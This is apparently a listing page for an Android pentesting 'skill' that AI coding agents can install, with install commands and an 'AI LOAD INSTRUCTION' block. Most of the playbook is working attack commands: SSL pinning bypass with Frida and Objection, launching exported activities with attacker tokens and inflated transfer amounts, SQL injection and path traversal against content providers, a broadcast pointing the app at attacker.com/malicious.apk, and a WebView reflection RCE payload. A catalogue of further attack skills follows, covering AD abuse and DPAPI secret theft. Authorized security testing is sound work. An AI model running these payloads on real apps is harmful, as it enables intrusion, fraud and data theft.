401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
Claude Code
$ npx -y skills add yaklang/hack-skills --skill android-pentesting-tricks --agent claude-code
Codex
$ npx skills add yaklang/hack-skills --skill android-pentesting-tricks -a codex -y
Cursor
$ npx skills add yaklang/hack-skills --skill android-pentesting-tricks -a cursor -y
Gemini CLI
$ npx skills add yaklang/hack-skills --skill android-pentesting-tricks -a gemini-cli -y
GitHub Copilot
$ npx skills add yaklang/hack-skills --skill android-pentesting-tricks -a github-copilot -y
OpenCode
$ npx skills add yaklang/hack-skills --skill android-pentesting-tricks -a opencode -y
Windsurf
$ npx skills add yaklang/hack-skills --skill android-pentesting-tricks -a windsurf -y
name: android-pentesting-tricks description: >- Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
> **AI LOAD INSTRUCTION**: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.
Before going deep, consider loading:
Also load [FRIDA_SCRIPTS.md](./FRIDA_SCRIPTS.md) when you need:
---
# Install Frida server on device adb push frida-server-16.x.x-android-arm64 /data/local/tmp/ adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64" adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &" # Universal SSL pinning bypass frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
| Hook Point | Library/Class | Coverage | |---|---|---| | `X509TrustManager.checkServerTrusted` | Android SDK | All standard HTTPS | | `OkHttpClient.Builder.sslSocketFactory` | OkHttp 3.x/4.x | Square OkHttp | | `CertificatePinner.check` | OkHttp 3.x/4.x | OkHttp pinning | | `HttpsURLConnection.setSSLSocketFactory` | Android SDK | Legacy HTTPS | | `SSLContext.init` | Android SDK | Custom SSL contexts | | `WebViewClient.onReceivedSslError` | WebView | WebView SSL errors | | `TrustManagerFactory.getTrustManagers` | Android SDK | Factory-created TMs |
objection -g com.target.app explore # Inside Objection REPL: android sslpinning disable
If you can modify the APK or it's a debug build:
<!-- res/xml/network_security_config.xml -->
<network-security-config>
<debug-overrides>
<trust-anchors>
<certificates src="user" /> <!-- Trust user-installed CAs -->
</trust-anchors>
</debug-overrides>
</network-security-config>| Module | Method | Scope | |---|---|---| | LSPosed + TrustMeAlready | Hooks system-wide TrustManager | All apps | | LSPosed + SSLUnpinning | Targeted SSL bypass | Per-app | | MagiskTrustUserCerts | Moves user CA to system store | All apps trusting system CAs | | ConscryptTrustUserCerts | Patches Conscrypt | Newer Android (7+) |
---
# Find exported activities (AndroidManifest.xml or aapt) aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true" # Launch exported activity directly adb shell am start -n com.target.app/.AdminActivity adb shell am start -n com.target.app/.DeepLinkActivity \ -d "target://callback?token=attacker_token" # With extra data adb shell am start -n com.target.app/.TransferActivity \ --es "amount" "99999" --es "recipient" "attacker"
# Query exposed content providers adb shell content query --uri content://com.target.app.provider/users # SQL injection in content provider adb shell content query --uri "content://com.target.app.provider/users" \ --where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--" # Path traversal in file-providing content provider adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
| Provider Type | Attack Vector | Impact | |---|---|---| | Database-backed | SQL injection via `query()` projection/selection | Data leak, auth bypass | | File-backed | Path traversal via URI | Read arbitrary files | | Parcelable | Type confusion in custom Parcelable | Code execution |
# Send crafted broadcast adb shell am broadcast -a com.target.app.ACTION_UPDATE \ --es "url" "http://attacker.com/malicious.apk" # Ordered broadcast interception (higher priority receiver intercepts first) # Register receiver with higher priority than target to intercept/modify data
# Start/bind to exported service adb shell am startservice -n com.target.app/.BackgroundService \ --es "command" "exfiltrate" # List running services adb shell dumpsys activity services | grep com.target
---
// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");
// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
// .getMethod('getRuntime').invoke(null).exec('id')| Vulnerability | Condition | Exploit | |---|---|---| | `setJavaScriptEnabled(true)` + untrusted content | JS enabled + attacker controls loaded URL | XSS → bridge access | | `setAllowFileAccessFromFileURLs(true)` | file:// can read other file:// | Load `file:///data/data/com.target/...` | | `setAllowUniversalAccessFromFileURLs(true)` | file:// can access any origin | Exfiltrate via XHR to attacker | | `loadUrl(user_controlled)` | User input in loadUrl | javascript: scheme or f
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples,…
Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags,…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…